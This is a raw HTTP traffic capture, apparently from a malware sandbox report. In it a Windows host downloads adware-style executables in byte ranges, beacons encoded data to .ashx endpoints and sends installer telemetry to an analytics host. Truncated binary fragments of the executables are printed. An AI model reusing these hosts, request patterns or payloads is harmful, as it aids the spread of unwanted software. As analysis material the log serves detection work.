GET /yta33_full.exe HTTP/1.1

Range: bytes=7500000-7590799

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:27 GMT

Content-Type: application/octet-stream

Content-Length: 90800

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 7500000-7590799/7590800
~...8O.'..!...t..xO.5//o...v....oK.Q.$.Dg......(G2t..`0(.BQ|..U.......
.....x..in...H.sKv..M..a.s...b.?.3...C..d...v..0.tdo.I..{...~.z;..v...
>.9j.#.....W.t_|$......Na8..7.i..o.....-|...;.MPg.i.).A....=..X.".C
......K...Vk.u...M.a.v.6q.q.*..x<j.j.~?....A.3.h...Rb.s..[..E......
.....'Q.8"...P.KC.#.j....{<......)P...:Ka[VVc'.ao.......U...E....QM
(......At-........{|.H..FI..X.....,..8..cj....S.!/.0S.B..d...A.....C..
p8...|a..j.?...eZ..L...S.i... .N...v..Lb..**\U....Z.....|.`8...^t.^-J"
..:...:....#.G...{...}L.K..&.=j...%.e.Lq=$.Q..~M..CA.vy8.............i
EGkVccN....NZg\1n.}k.x.E......h..hM.Q.P..D....r.D.A....a.>\Y,[s.[2.
.8/.-.T.c..v|..E.F......f.]...X....%....G.....|8.#>.$...<..'....
.....%  ....x....G..Q..u.F.<vl..].(5v....-).(.Qzn.rT..*.<.....#.
......I.....l.j.j..K9.ThZr.....`dm..'1F*.b$R.G5......G.|....L0....D"./
..=.?~..;..."j6.ub.e....8.Tx...V......x...<..........$..m..5..H%1".
1H.8..;.......ef..8Y..........i.'..7y......u....).c{IQ.............l.z
p(F.I..q.lq:%.....K.....Ob.......Kk.^....<..K.vu..Y;...QM1:.......M
.1;.....4..t...~Y...Qf..t.-. N/.^..s,.8r..k..i.h.D...=I."R-.>......
.......w..p..aWgR.-...5y.3..xF....]2f........)<4-. .$2..L.E.......B
2^.8-......UY.55..[7.j}q...#k....N..v.).b2J....}psF....bvw~.!...../& X
.-.S...I.2 .......Qw-.u......0.....I.X.4...eQO..........v...i....#<
..?...j...P][email protected]~q.mw`O.lQ...).1*.P.(:}P}-..."....C
.e~7.)..N.j..6..3S.s,.j...S<...mw.]..._|..5S.....BD.%....8i....Q._.
...3.4?.S.9......@N...*..YMMz..M..G.Zul.-o.=c...l..E..z...K.....;&<<< skipped >>>

GET /22693.ashx?e=iDRrwQhh7wufZNC1TqAoBJfNvU8q5I7v1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/oUDW29 K3KZFLtEFRCIjfXf1ws7XaD2yIg0p1vUMLr4E8SFHLIEPsGJTlYCQaOf7GuVxeoIbRG3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:23 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:23 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /22693.ashx?e=hXeqmv1IpemletMtAI4NzdPoRc85Bdu18eUHeqLPXa5AXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRyJZkR RdXtlMLSuKCsuLN/hx03Dxo5hagrJighumfZYxV XbSIgCs1JJpRAUOpYSeY/e3xqcYN8E2yJSrxXsmX4l9XCm/Va9T0skxmwV AvCKQhXfcYgO0JQd5HxgIXe6hh4TSs5wkW3TZxLuun9q2WFuR9gGp0U4NjpoFieJauu3GXCrC1oBMLZEX3JIHtu2HA4GAu84U6symfFroYNLUwtK4oKy4s3 HHTcPGjmFqCsmKCG6Z9l jsozdOuMXG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H3ew7RHyUKK6IuJSmtxq56iWx73v0ShanfqglJnWRFsFlIZe3xkuNds HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:24 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=PcwT4QFtuPClUB4b/muCJXTuSjHweMqa7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncio6GIVbYZVIaYCpHZc9ZUaETVDNBVYCm8gJbYhkiyLt47D8pdbzyFnQ7nSguBlE3YrKdy8/8CPwt94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsq8O0TqNFneq xSXuHmZXjPqL76yWygYEwHpIRYA39a3bgzl5Cp fkQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:24 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=PcwT4QFtuPClUB4b/muCJXTuSjHweMqa7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncio6GIVbYZVIaYCpHZc9ZUaHIEYMXrTArcgIcLERiDa7o8tPi 5k671A/wSeshr0zAI7XS7xeeDI6jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LVPxSpXQH7h ov2qF7 s26xgpPxsF/Pl3421T7C4kylMMbsqBpZyLyg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:24 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=PcwT4QFtuPClUB4b/muCJXTuSjHweMqa7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncio6GIVbYZVIaYCpHZc9ZUaEUAuICjN6dOdCUHeR8YCF3bJ OTVC78tVTfEBTsUyw6De/zRqXKYW OPNuNctLNP94FMchecJC7mdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSqsymfFroYNLUwtK4oKy4s3 HHTcPGjmFqCsmKCG6Z9lPen4aT11mnk= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:25 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=PcwT4QFtuPClUB4b/muCJXTuSjHweMqa7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncio6GIVbYZVIaYCpHZc9ZUaEVp nOsv5TlY4G r 3F6T7M 2x4nq/V4db8yl/lmEDu8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfd7DtEfJQoroi4lKa3GrnqJbHve/RKFqd qCUmdZEWwWUhl7fGS412w= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:25 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=PcwT4QFtuPClUB4b/muCJXTuSjHweMqa7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncio6GIVbYZVIaYCpHZc9ZUaH7IeLOkEHwKLPiCC4paVhdBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLHGIuOi8NF5gp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/WW/hePtCOfZ HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:25 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=uWabAt9SLcxB24VIjmhz1h0R8FZu6GaDY4EO8TvlT/WMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81OkRgwYRvOGYuJSmtxq56iWx73v0ShanfqglJnWRFsFrPMmulBbrouUeZLRmueCpr 7rPtSKe/ AIsHtC6ix/WrXIxNf6X/p9DGJ/Sj18N/OIhamBTw4Ppjgb6v7cXpPu tl9Ixk4EPQ8Sv8B/YGWvZ1Wbp24LTauPMVGK5pD9kzU8WfzKjDQ7EEl5CXCNVvDRtCncusP3AXLt/A991DKSzdortYxXWY1vieHtm6P9Yuo/P jz2EcHFepelzazWjtPCeSiyyWq6IVjjf7BbRo2p7yJ8dcNjz1YvcWnBXUICqe8ifHXDY89zZUP8y0YP3Vfq5N3vNZj9InFoJkP5cUtjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LVPxSpXQH7h ov2qF7 s26xgpPxsF/Pl3421T7C4kylMMbsqBpZyLyg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:25 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=uWabAt9SLcxB24VIjmhz1h0R8FZu6GaDY4EO8TvlT/WMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81OkRgwYRvOGYuJSmtxq56iWx73v0ShanfqglJnWRFsFrPMmulBbrouUeZLRmueCpr 7rPtSKe/ AIsHtC6ix/WrXIxNf6X/p/nIXzQtxKJSmstAtp4Waa7FAL52sIXt4UGdUiveYDXawWwrv9hreqncfgJCYrAwfiv0mF/99NCl7O3qltCaH/VMDJUVrwqTLjBaJmx4ySVIURkusuGz3qi3CjlXcBqBuVdCmTe5/N6vgWwrv9hreqncfgJCYrAwfhOJIqIpsq/rV4sB23ZJPC Gcmx ywZ6dp 3Gnb1x163/vlNvqe8jqhk3TjWx/pH088TlE/Us4t1jVvn1Eai8YdLsaRyXgar/GFTvEhYXEDA5KUi/e3eip5EkCZa7jYIXUaVgeh2pzpkcckL4tVIkpXqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1HSEO7OVkV0Jg8 LdmjV KAMTwC1GHZcjnyUzwl0yV3mKs4wGey2R6OafOJwbrIS/g== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:25 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=uWabAt9SLcxB24VIjmhz1h0R8FZu6GaDY4EO8TvlT/WMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81OkRgwYRvOGYuJSmtxq56iWx73v0ShanfqglJnWRFsFrPMmulBbrouUeZLRmueCpr 7rPtSKe/ AIsHtC6ix/WrXIxNf6X/p8CFMPu/XF4Ln0AQg0WKP xjgb6v7cXpPsg9xFL4weyiMbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfd7DtEfJQoroi4lKa3GrnqJbHve/RKFqd qCUmdZEWwWUhl7fGS412w= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:26 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=/9ZmISdorEvwl4DCqEaRhL/VBV3DuIWq7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncijmYM h47eE6YCpHZc9ZUaGLbhvor/ikhRQC drCF7eFmMZYHcepBbD7Un9VNhnCheIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZWJ 5WHu5jG1PT3JZ27DUijjrCJCIYOXzARdXBD1JSeCgOypJPSGZW0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:26 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:26 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /22693.ashx?e=eFCD8T/coicbrW3BnhHoaGkn7bj1NPi27OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncihwaag8FkyBLYCpHZc9ZUaH6/88N5jCoINCUHeR8YCF3WlDTfn6Wm6lW0Hx6tEFQQ4ukv1U9jWHLBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLHGIuOi8NF5gp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/WW/hePtCOfZ HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:27 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:27 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /v4/sof-windowspm/?action=visit.heartbeat.wpmvt&update3=version,20.0.0.1953 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sat, 18 Apr 2015 07:36:54 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

3d..{"stats":"error","time":"0.08 ms","message":"uid is not set"}..0..
....

GET /v4/sof-windowspm/?action=visit.heartbeat.wpmvt HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sat, 18 Apr 2015 07:36:54 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

3d..{"stats":"error","time":"0.05 ms","message":"uid is not set"}..0..
HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 18 Apr 2015 07:36:54
 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunk
ed..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v
4..3d..{"stats":"error","time":"0.05 ms","message":"uid is not set"}..
0..

GET /12334.ashx?e=d/UISSlWdlMdEfBWbuhmg4OEKc3FJ3Q0jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNTpEYMGEbzhmLiUprcaueolse979EoWp36oJSZ1kRbBazzJrpQW66LlHmS0Zrngqa/u6z7Uinv/jTVlehLbNNnaJiQZbBg0HgT3FsALGJiApIj GXdVcREtCUHeR8YCF35CHo3qBIj7aeeVwEMc36B6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tR0hDuzlZFdCYPPi3Zo1figDE8AtRh2XI58lM8JdMld5irOMBnstkejmnzicG6yEv4= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:34 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.regok HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sat, 18 Apr 2015 07:36:00 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.63 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 18 Apr 20
15 07:36:00 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.63 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d1tlvbabel9f8s.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Tue, 14 Apr 2015 08:35:23 GMT

Last-Modified: Tue, 14 Apr 2015 08:31:54 GMT

ETag: "552cd07a-6721"

Expires: Tue, 14 Apr 2015 08:45:23 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 257

X-Cache: Hit from cloudfront

Via: 1.1 618f5851b14debafe852931f0e2f2acd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: b5UO_wH-zxtO2_GK52_YrQ9vEtoToPVi_xrg6Xn0U68k4OThCAn4Bg==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.<<< skipped >>>

GET /sponsored/speedbit/eula-youtubeaccelerator.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d1tlvbabel9f8s.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 12 Apr 2015 04:59:41 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 12 Apr 2015 05:09:41 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 356

X-Cache: Hit from cloudfront

Via: 1.1 618f5851b14debafe852931f0e2f2acd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: HCoT6yJlx39AnsqH2ojYxdvmZt3UgJ3vfeP8-6VmQG8oBvwpMcQCSg==
2799.............]ko..y.....&J.K.D...h........[,.n...F...5.af... @.F.^
.I..y.s..9.:..H.D.9s...y/~..._=.......]...o?{~.,.;:>~..g..._|...W./
.g.G...:_6e[V.|~||.r/..j..........OGU=;.xs..c=....Q..9......<.....e
.d`..?....m=[...h.u.j..vU<.k....w.un..e...^.......>z.I....}.QM..
r9.nF......o.......O....r...?......I..z.}q{.M.i....>...K.,...>y.
\.....'{..m[....i.....~..d......Gu....b...o....p..o..;H?..>.v..{.:.
.....0.........................'._......?.l....o..Q.....9..q.C.]..4...
.70...w.a.v]/.~......zn\M..o..U.U.,.-.....q.........B........WE.~Q...u
.S.w.. .`K.j.^`X.......g....e.(......_?.6..p^.../.."o..w.>......FM.
.. ..u[....|.p......;...I.{..Q..i.|.w.w...c..G.jU,'....d.S..~f.)r.....
..A...w...9.. R....g..Y...x..'..{.(.<._.5N.......3...c.F...)..wYMn.
........e?z.....-.zV..e....U..G..\.([V."...i.l............i.(........)
.r..~..]}.)y.&....Q6.W%X.Cm.<z..b.OM.dYX.?.>d......{...k........
y1m.eG...{....#........&.._./.....O.U./..Ev2... y[..EQ/....mS`.O....&g
t;....x.7....l............a...q.W.c.#./......^\..... ..Y6/...).|9. .l.
5>...*.-....YW./.a...lV].......r,...q.:Fi1..<kA...__..........x.
.Ap.?...Z..=......q.4.)....R[.9~...*.*(....'.Yi..p.B.n......e'...I.T.;
.L.^-..Co...j0u..j...dc0B^..I.r.....-.(...n......1.-...'.*.......M^...
.&...y~..-...;W....UV.8.,.c.'...QLd 4x.....fmU....<...M..pRN3\{S`AX
..6..X........'_._....q2.8.?.QF.M.0.>.l^......6.I:...4DvY.7E!.=....
m.C.....U.}...c.....??.......[e...H..-.c:-.%vj'..A..2.K|..%]......{Ga.
...EQ..Z|Q..6?..4?z|................H.%.....{....\b[.........L....<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8jxn8tdj-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:33 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: Nh6FDteAPEbksnMhlZ9mScTRUzOBd61uMuuvQykfjuZuSliFKoOwZJpNbl7usaBIw9nIe9mRqaQ=

x-amz-request-id: 44D0999A12B314B9

Last-Modified: Fri, 17 Apr 2015 05:19:45 GMT

ETag: "264d5a79c1ebf3bda62be98f2e6ff8b4"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 0-249999/4737507
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8jxn8tdj-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:34 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: Nh6FDteAPEbksnMhlZ9mScTRUzOBd61uMuuvQykfjuZuSliFKoOwZJpNbl7usaBIw9nIe9mRqaQ=

x-amz-request-id: 44D0999A12B314B9

Last-Modified: Fri, 17 Apr 2015 05:19:45 GMT

ETag: "264d5a79c1ebf3bda62be98f2e6ff8b4"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 750000-999999/4737507
Hv.Kp.a...j.Dk.b.b..q.d...2.............d.$q.T...U......q_...Q..C.0:.@
